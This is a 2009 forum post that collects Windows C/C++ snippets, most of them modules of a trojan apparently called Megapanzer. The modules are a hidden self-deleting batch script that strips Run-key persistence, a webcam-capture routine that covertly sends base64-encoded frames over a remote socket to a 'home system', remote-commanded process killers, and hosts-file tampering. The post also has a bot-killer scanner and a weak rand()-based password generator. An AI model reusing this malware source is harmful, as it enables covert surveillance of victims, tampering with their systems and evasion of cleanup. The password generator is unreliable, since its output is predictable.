Nytro Posted March 10, 2009 Report Posted March 10, 2009 B.o.t Killer by a59This function searches through all running processes, except black listed ones, and then uses the ReadProcessMemory function to check for specified strings found in common bots. If any of the strings are found in the processes memory the process will be killed and the file deleted. Should be simple to modify for other types of unwanted programs./* BotKiller Coded by a59 */ #include <windows.h> #include <stdio.h> #include <tlhelp32.h> void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 ); void KillBot( PROCESSENTRY32 pe32 ); struct s_Search { char* szBot; char* szString; }; s_Search sSearch[ ] = { { "VNC Scanning server", "\x52\x46\x42\x20\x30\x30\x33\x2E\x30\x30\x38\x0A" }, { "RXBot", "[MAIN]" }, { "RXBot", "[SCAN]" }, { "RXBot", "[FTP]" }, { "Unknown", "&echo bye" }, { NULL, NULL } }; void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 ) { char szBigBuffer[ 0x5000 ] = { 0 }; unsigned char Curbuf[ 0x500 ] = { 0 }; HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID ); printf( "Scanning PID: %d [ %s ]\nStart Address: 0x%08X End Address: 0x%08X\n\n", pe32.th32ProcessID, pe32.szExeFile, uStartAddr, uEndAddr ); for( unsigned long uCurAddr = uStartAddr; uCurAddr <= uEndAddr; uCurAddr++ ) { BOOL bRead = ReadProcessMemory( hProcess, (void *)uCurAddr, (void *)&Curbuf, sizeof( Curbuf ), NULL ); if( bRead ) { int c = 0; strcat( szBigBuffer, (char *)Curbuf ); while( sSearch[ c ].szString != NULL ) { if( strstr( szBigBuffer, sSearch[ c ].szString ) ) { printf( "Found string \"%s\" in \"%s\" server \"%s\"\n\n", sSearch[ c ].szString, pe32.szExeFile, sSearch[ c ].szBot ); KillBot( pe32 ); } c++; } if( sizeof( szBigBuffer ) > 0x150 ) ZeroMemory( szBigBuffer, sizeof( szBigBuffer ) ); } if( !bRead ) break; } CloseHandle( hProcess ); }; void KillBot( PROCESSENTRY32 pe32 ) { MODULEENTRY32 me32 = { 0 }; HANDLE hPath = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID ); HANDLE hKillProcess; me32.dwSize = sizeof( me32 ); BOOL bRetval = Module32First( hPath, &me32 ); while( bRetval ) { if( !strcmp( pe32.szExeFile, me32.szModule ) ) { SetFileAttributes( me32.szExePath, FILE_ATTRIBUTE_NORMAL ); hKillProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID ); TerminateProcess( hKillProcess, 0 ); Sleep( 500 ); if( DeleteFile( me32.szExePath ) ) printf( "Terminated and deleted %s\n", me32.szExePath ); } bRetval = Module32Next( hPath, &me32 ); } CloseHandle( hKillProcess ); CloseHandle( hPath ); }; int main( ) { char szFile[ 128 ]; GetModuleFileName( GetModuleHandle( NULL ), szFile, sizeof( szFile ) ); char* szBlockList[ ] = { "explorer.exe", "hidserv.exe", "WINLOGON.EXE", "SERVICES.EXE", szFile }; HANDLE hProcess = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32 pe32; pe32.dwSize = sizeof( PROCESSENTRY32 ); BOOL bRetval = Process32First( hProcess, &pe32 ); bool bDoSearch = true; while( bRetval ) { Sleep( 250 ); for( int i = 0; i < ( sizeof( szBlockList ) / sizeof( char* ) ); i++ ) { if( strstr( szBlockList[ i ], pe32.szExeFile ) ) bDoSearch = false; } if( bDoSearch ) { DoSearch( 0x00400000, 0x004FFFFF, pe32 ); DoSearch( 0x00100000 ,0x001FFFFF, pe32 ); } else bDoSearch = true; bRetval = Process32Next( hProcess, &pe32 ); } CloseHandle( hProcess ); printf( "Done scanning, press ENTER to exit this program.\n" ); getchar( ); return 0; };Self DeleteCredit: carrumba#include <windows.h>#include <stdio.h>#include <shlwapi.h>#include <time.h>#include "Megapanzer_Definitions.h"extern char gRealRegistryName[MAX_BUF_SIZE + 1];int selfDelete(){ WIN32_FIND_DATA lFileData; HANDLE lSearchHandle; char lFilePattern[MAX_BUF_SIZE + 1]; char lTemp[MAX_BUF_SIZE + 1]; char lTempDirectory[MAX_BUF_SIZE + 1]; char lCWD[MAX_BUF_SIZE + 1]; char lBatchFileNameFullPath[MAX_BUF_SIZE + 1]; char lCommand[MAX_BUF_SIZE + 1]; char lProgramName[MAX_BUF_SIZE + 1]; HKEY lRegistryHeaps[] = {HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, NULL}; HKEY lKeyHandle; long lEnumRet = 0; DWORD lLength = 100; time_t lTimeStamp; int lRetVal = 0; int lFuncRetVal = 0; int lCounter = 0; int lCounter2 = 0; //// // initialization //// ZeroMemory(lProgramName, sizeof(lProgramName)); ZeroMemory(lTemp, sizeof(lTemp)); ZeroMemory(lTempDirectory, sizeof(lTempDirectory)); ZeroMemory(lCWD, sizeof(lCWD)); ZeroMemory(lBatchFileNameFullPath, sizeof(lBatchFileNameFullPath)); ZeroMemory(&lTimeStamp, sizeof(lTimeStamp)); GetModuleFileName(NULL, lProgramName, sizeof(lProgramName)); time(&lTimeStamp); //// // create temporary directory //// if (GetTempPath(sizeof(lTempDirectory) - 1, lTempDirectory) > 0) if (lTempDirectory[strlen(lTempDirectory) - 1] != '\\') strcat(lTempDirectory, "\\"); //// // generate batch file name //// GetCurrentDirectory(sizeof(lCWD) - 1, lCWD); if (lCWD[strlen(lCWD) - 1] != '\\') strcat(lCWD, "\\"); _snprintf(lBatchFileNameFullPath, sizeof(lBatchFileNameFullPath) - 1, "%s%d.bat", lTempDirectory, lTimeStamp); printToFile(lBatchFileNameFullPath, "@echo off"); printToFile(lBatchFileNameFullPath, ":Repeat"); ZeroMemory(lCommand, sizeof(lCommand)); _snprintf(lCommand, sizeof(lCommand) - 1, "@del /F \"%s\"", lProgramName); printToFile(lBatchFileNameFullPath, lCommand); ZeroMemory(lCommand, sizeof(lCommand)); _snprintf(lCommand, sizeof(lCommand) - 1, "if exist \"%s\" goto Repeat", lProgramName); printToFile(lBatchFileNameFullPath, lCommand); //// // generate delete entry for registry keys/values //// for(lCounter = 0; lRegistryHeaps[lCounter] != NULL; lCounter++) { if (RegOpenKeyEx(lRegistryHeaps[lCounter], "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &lKeyHandle) == ERROR_SUCCESS) { lCounter2 = 0; ZeroMemory(lTemp, sizeof(lTemp)); lLength = sizeof(lTemp) - 1; while((lEnumRet = RegEnumValue(lKeyHandle, lCounter2, lTemp, &lLength, NULL, NULL, NULL, NULL)) == ERROR_SUCCESS) { if (StrCmpNI(gRealRegistryName, lTemp, sizeof(gRealRegistryName)) == 0) { ZeroMemory(lCommand, sizeof(lCommand)); if (lRegistryHeaps[lCounter] == CURRENT_USER) { _snprintf (lCommand, sizeof(lCommand) - 1, "@reg delete HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\ /v %s /f",lTemp); printToFile(lBatchFileNameFullPath, lCommand); } else if (lRegistryHeaps[lCounter] == LOCAL_MACHINE) { _snprintf (lCommand, sizeof(lCommand) - 1, "@reg delete HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\ /v %s /f",lTemp); printToFile(lBatchFileNameFullPath, lCommand); } // if (lRegistryHeaps[lCou... } // if (StrCmpNI(gRealRegistryName, lTemp... lLength = sizeof(lTemp) - 1; lCounter2++; ZeroMemory(lTemp, sizeof(lTemp)); } // while((lEnumRet = RegEnumValue(lKeyH... RegCloseKey(lKeyHandle); } // if (RegOpenKeyEx(lReg... } // for(lCounter = 0; lRegistryHeaps[lCoun... //// // delete Mega Panzer files //// ZeroMemory(lCommand, sizeof(lCommand)); _snprintf(lCommand, sizeof(lCommand) - 1, "@del /F \"%s\" || move /Y \"%s\" \"%s\"", lBatchFileNameFullPath, lBatchFileNameFullPath, lTempDirectory); printToFile(lBatchFileNameFullPath, lCommand); //// // run batch script //// ShellExecute(NULL, NULL, lBatchFileNameFullPath, NULL, "c:\\", SW_HIDE); exit(lRetVal);}int printToFile(char *pOutputFileName, char* pCommandString){ int lRetVal = 0; HANDLE lFileHandle = INVALID_HANDLE_VALUE; DWORD lBytesWritten = 0; char lTemp[MAX_BUF_SIZE + 1]; if ((lFileHandle = CreateFile(pOutputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE) { SetFilePointer(lFileHandle, 0, 0, FILE_END); ZeroMemory(lTemp, sizeof(lTemp)); snprintf(lTemp, sizeof(lTemp) - 1 , "%s\r\n", pCommandString); WriteFile(lFileHandle, lTemp, strlen(lTemp), &lBytesWritten, NULL); CloseHandle(lFileHandle); } return(lRetVal); }WebCam CaptureCredit: carrumba#include <stdio.h>#include <windows.h>#include <Vfw.h>#include "Megapanzer_Definitions.h"extern HWND gWND;DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter){ HWND lWndVideoHandle; CAPSTATUS lCapStat; DWORD lRetVal = 0; char *lBMPFileName = "info.bmp"; char *lJPGFileName = "info.jpg"; char lJPGFileBaseName[MAX_BUF_SIZE + 1]; HANDLE lFileHandle = INVALID_HANDLE_VALUE; DWORD lJPGFileSize = 0; char *lPreEncodedData = NULL; char *lEncodedData = NULL; DWORD lBytesRead = 0; char lTemp[MAX_BUF_SIZE + 1]; int lFuncRetVal = 0; PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter; SYSTEMTIME lSystemTime; /* * initialize values */ ZeroMemory(&lCapStat, sizeof(CAPSTATUS)); ZeroMemory(&lSystemTime, sizeof(lSystemTime)); ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName)); GetLocalTime(&lSystemTime); snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond); ZeroMemory(lTemp, sizeof(lTemp)); _snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>"); lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0); /* * capture webcam frame */ Sleep(500); lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1); capDriverConnect(lWndVideoHandle, 0); Sleep(1000); capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS)); capGrabFrame(lWndVideoHandle); capEditCopy(lWndVideoHandle); capFileSaveDIB(lWndVideoHandle, lBMPFileName) ; capDriverDisconnect(lWndVideoHandle) ; DestroyWindow(lWndVideoHandle); convertBMP2JPG(lBMPFileName, lJPGFileName); if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE) { lJPGFileSize = GetFileSize(lFileHandle, 0); /* * encocd created jpg file */ if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL) { ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL); CloseHandle(lFileHandle); if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL) { /* * transfer picture data to home system */ Base64encode(lEncodedData, lPreEncodedData, lBytesRead); ZeroMemory(lTemp, sizeof(lTemp)); _snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName); lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0); lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0); ZeroMemory(lTemp, sizeof(lTemp)); _snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>"); lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0); } // if ((lEncodedData = (char *) He... } // if ((lPreEncodedData = (char *) HeapAlloc(GetP... } // if ((lFileHandle = CreateFileA(lJPGFileFullPath,... ZeroMemory(lTemp, sizeof(lTemp)); _snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>"); lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0); /* * cleaning up before returning */ DeleteFile("info.bmp"); DeleteFile("info.jpg"); return(lRetVal);}Kill Process by PIDCredit: carrumba#include <stdio.h>#include <windows.h>#include <psapi.h>#include "Megapanzer_Definitions.h"DWORD WINAPI killProcessByPID(PVOID pParameter){ int lRetVal = 0; HANDLE lProcessHandle = INVALID_HANDLE_VALUE; char lTemp[MAX_BUF_SIZE + 1]; char lProcessName[MAX_BUF_SIZE + 1]; int lFuncRetVal = 0; PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter; HMODULE lModuleHandle; DWORD cbNeeded; ZeroMemory(lProcessName, sizeof(lProcessName)); strcpy(lProcessName, "Unknown"); ZeroMemory(lTemp, sizeof(lTemp)); _snprintf(lTemp, sizeof(lTemp) - 1, "<killprocess><msg>Could not kill process \"%s\"</msg></killprocess>", lCommandStructure->sCommandString); if ((lProcessHandle = OpenProcess(PROCESS_TERMINATE, FALSE, atoi(lCommandStructure->sCommandString))) != INVALID_HANDLE_VALUE) { if (EnumProcessModules(lProcessHandle, &lModuleHandle, sizeof(lModuleHandle), &cbNeeded)) GetModuleBaseName(lProcessHandle, lModuleHandle, lProcessName, sizeof(lProcessName) - 1); if (TerminateProcess(lProcessHandle, (DWORD) -1)) { ZeroMemory(lTemp, sizeof(lTemp)); _snprintf(lTemp, sizeof(lTemp) - 1, "<killprocess><msg>Killed process \"%s\" (pid %s) successfully</msg></killprocess>", lProcessName, lCommandStructure->sCommandString); } CloseHandle(lProcessHandle); } lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0); return(lRetVal);}Kill Process By nameCredit: carrumba#include <stdio.h>#include <windows.h>#include <Tlhelp32.h>#include "Megapanzer_Definitions.h"DWORD WINAPI killProcessByName(PVOID pParameter){ int lRetVal = 0; int lFuncRetVal = 0; char lTemp[MAX_BUF_SIZE + 1]; PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter; HANDLE hProcessSnap; HANDLE hProcess; PROCESSENTRY32 pe32; DWORD dwPriorityClass; if (lCommandStructure->sCommandString != NULL) { if((hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) { lRetVal = 1; goto END; } pe32.dwSize = sizeof(PROCESSENTRY32); if(!Process32First(hProcessSnap, &pe32)) { lRetVal = 2; goto END; } do { if(!strcmp(pe32.szExeFile, lCommandStructure->sCommandString)) { hProcess = OpenProcess(PROCESS_TERMINATE,0, pe32.th32ProcessID); TerminateProcess(hProcess,0); CloseHandle(hProcess); } } while(Process32Next(hProcessSnap,&pe32)); }END: if (hProcessSnap != INVALID_HANDLE_VALUE) CloseHandle(hProcessSnap); return(lRetVal);}Modify hosts fileCredit : carrumba#include <stdio.h>#include <windows.h>#include <Tlhelp32.h>#include "Megapanzer_Definitions.h"DWORD WINAPI addHostsEntry(PVOID pParameter){ int lRetVal = 0; int lFuncRetVal = 0; char lTemp[MAX_BUF_SIZE + 1]; char lTemp2[MAX_BUF_SIZE + 1]; char *lTempPointer = NULL; DWORD dwWritten = 0; HANDLE lFileHandle = INVALID_HANDLE_VALUE; PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter; if (lCommandStructure->sCommandString != NULL) { ZeroMemory(lTemp, sizeof(lTemp)); snprintf(lTemp, sizeof(lTemp) - 1, "\r\n%s", lCommandStructure->sCommandString); if ((lFileHandle = CreateFile(HOSTS_FILE, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE) { SetFilePointer(lFileHandle,0,0,FILE_END); WriteFile(lFileHandle, lTemp, strlen(lTemp), &dwWritten, NULL); CloseHandle(lFileHandle); } } return(lRetVal);}DWORD WINAPI removeHostsEntry(PVOID pParameter){ int lRetVal = 1; int lFuncRetVal = 0; char lTemp[MAX_BUF_SIZE + 1]; char lReadBuffer[MAX_BUF_SIZE + 1]; PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter; FILE *lFileOldHostsHandle = NULL; FILE *lFileNewHostsHandle = NULL; if (lCommandStructure != NULL && lCommandStructure->sCommandString != NULL) { if ((lFileOldHostsHandle = fopen(HOSTS_FILE, "r")) != NULL) { ZeroMemory(lTemp, sizeof(lTemp)); snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE); if ((lFileNewHostsHandle = fopen(lTemp, "w")) != NULL) { while (!feof(lFileOldHostsHandle)) { ZeroMemory(lReadBuffer, sizeof(lReadBuffer)); if (fgets(lReadBuffer, sizeof(lReadBuffer) - 1, lFileOldHostsHandle) > 0) { if (strstr(lReadBuffer, lCommandStructure->sCommandString) == NULL) fprintf(lFileNewHostsHandle, lReadBuffer); else lRetVal = 0; } } fclose(lFileNewHostsHandle); } fclose(lFileOldHostsHandle); } }END: if (lRetVal == 0) { ZeroMemory(lTemp, sizeof(lTemp)); snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE); DeleteFile(HOSTS_FILE); MoveFile(lTemp, HOSTS_FILE); } return(lRetVal);}Very simple pass gen/* More simple pass generator; inspired by carb0n passgen code on this forum Lamecoded by : x.exexe_ // from newbie to newbies */#include <iostream> #include <time.h> #include <fstream> void RndPass(int len, std::string &pesw) { // table with chars, can re-define char c_table[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', 'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'}; srand(time(NULL)); for(; len > 0; len--) // save random number (as char) pesw += c_table[ rand()%(strlen(c_table)-1)]; // to pesw string} int main() { int len; std::string passwd = ""; std::cout << "\t\tSimply pesvrd gen by x.exexe_\n" << std::endl; std::cout << "Enter password lenght (number): "; std::cin >> len; RndPass(len,passwd); std::cout <<"Ur pass is : \n" << passwd << std::endl; std::cout << "Make internet better!" << std::endl; // create file stream with append mode std::ofstream PassFileStream("piss.txt", std::ios::app); if ( PassFileStream.is_open() ) // if stream open is ok ... PassFileStream << passwd << "\n\n"; // ... write pass to file PassFileStream.close(); // close stream std::cin.get(); // hit any key return 0; } Quote